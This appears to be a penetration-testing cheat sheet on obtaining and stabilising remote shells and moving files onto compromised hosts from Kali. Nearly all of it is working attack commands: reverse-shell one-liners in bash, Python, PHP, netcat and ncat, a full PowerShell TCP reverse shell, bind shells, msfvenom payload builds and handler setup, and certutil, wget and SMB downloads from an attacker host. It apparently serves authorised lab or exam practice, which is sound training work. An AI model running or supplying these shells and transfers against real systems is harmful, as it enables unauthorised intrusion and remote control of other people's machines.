Sessions & transfers

Client commands / example output

Copy# Baseline
delivery → execution → connection → usable session

Linux

State	Decisive evidence	Does not yet prove
Delivery	Exact bytes/request reached intended consumer	Payload executed
Execution	Harmless command output or controlled side effect	Network callback works
Connection	Listener records the expected peer	Commands and I/O are usable
Session	Commands return and host/identity are verified	Higher privilege or stability

Situation	Prefer	Main prerequisite / limitation
One bounded action is enough	Direct command execution	Observable output or side effect; no shell required
Valid credential and remote service	SSH, WinRM or RDP	Authentication plus remote-logon authorization
Target can reach Kali	Reverse shell	Target egress and a reachable Kali listener
Kali can reach a target listener	Bind shell	Target can bind and inbound path permits it
Payload is staged or protocol-aware	Matching framework handler	Handler must use the exact payload/transport

Copy# Linux
id; hostname; pwd

Windows

CopyREM Windows
whoami & hostname & cd

Linux

Copy# Linux
hostname; id; pwd
ip addr; ip route
ss -lntup

Windows

CopyREM Windows
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

Client commands / example output

Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.

Copy# Baseline
exact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position

Client commands / example output

Copy# Baseline
trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

On Kali

Copy# On Kali
ip -brief address
ip route
ss -lntp

Windows source/listener checks

Copy# Windows source/listener checks
Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali

Copy# Traditional/OpenBSD-style nc commonly used on Kali
rlwrap nc -lvnp LPORT

# Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag
ncat -4 -lvn 0.0.0.0 LPORT

# Verify the bind in another terminal
ss -lntp | grep ':LPORT'

# If multiple interfaces exist, bind deliberately
ncat -4 -lvn LHOST LPORT

Bash TCP

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

Copy# Bash TCP
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

# Python 3 with a PTY
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

# Portable FIFO plus Netcat when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

# PHP CLI
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Linux
ncat LHOST LPORT --exec /bin/sh

Windows

CopyREM Windows
ncat.exe LHOST LPORT --exec cmd.exe

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Prefer an available authenticated service

Copy# Prefer an available authenticated service
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive

Copy# PowerShell TCP shell when direct command execution is the only primitive
$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

# Generate UTF-16LE Base64 locally
$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context

CopyREM Invoke in the target command context
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Traditional Netcat with -e support on a Linux target

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Copy# Traditional Netcat with -e support on a Linux target
nc -lvnp PORT -e /bin/sh

# Connect from Kali
nc -nv TARGET PORT

# FIFO alternative when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

# Ncat target listener
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

List rather than guess names and formats

Copy# List rather than guess names and formats
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Stageless command-shell binaries
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

# Verify the resulting artifacts
file shell.elf shell.exe
sha256sum shell.elf shell.exe

Staged versus stageless

Copy# Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

# Metasploit naming commonly reflects the distinction
windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

# A staged payload normally needs multi/handler configured with the exact same payload
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

Only when an existing reviewed PoC documents payload space and bad characters

Copy# Only when an existing reviewed PoC documents payload space and bad characters
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

First obtain a PTY with an available interpreter

Copy# First obtain a PTY with an available interpreter
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Press Ctrl-Z locally, then
stty raw -echo; fg

# Back in the remote shell
reset
export TERM=xterm-256color
stty rows 40 columns 120

# If the local terminal becomes unreadable, restore it from a separate/local shell
stty sane

# Socat can provide a stronger PTY when present on both sides
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Shell commands

On Kali, serve the directory containing linpeas.sh:

Copy# Baseline
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

# On the Linux target, download into a writable directory and run it
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

# Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

# Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE

Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.

Run inside PowerShell

Copy# Run inside PowerShell
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

Windows target with PowerShell

CopyREM Windows target with PowerShell
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"

Windows alternatives

Copy# Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')

Windows alternatives

CopyREM Windows alternatives
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE

REM Windows alternatives
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

On Kali or Linux

Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.

On Kali or Linux:

Copy# On Kali or Linux
sha256sum FILE
sha256sum /tmp/FILE

On Windows

Copy# On Windows
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.

Kali to a Linux target

Copy# Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE

# Run from Kali when the target's SSH service is reachable
scp USER@TARGET:/path/to/FILE ./FILE

# SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE

Start an authenticated SMB share on Kali

Copy# Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

# Some installations expose the legacy wrapper name
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

Connect and download from Windows

CopyREM Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE

REM Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.

Kali receives

Copy# Kali receives
nc -lvnp PORT > FILE

# The target sends
nc -nv LHOST PORT < /path/to/FILE

# The target receives
nc -lvnp PORT > /tmp/FILE

# Kali sends
nc -nv TARGET PORT < FILE

# If the listener rejects -p, use the OpenBSD-style form and check nc -h locally
nc -lvn PORT > FILE

Encode on Linux

Copy# Encode on Linux
base64 -w 0 FILE

# Decode on Linux
printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE

Decode in PowerShell

Copy# Decode in PowerShell
[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))

On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment

Copy# On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment
python3 -m pyftpdlib -p PORT

On the target

Copy# On the target
ftp LHOST PORT
binary
get FILE
put FILE
quit

The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.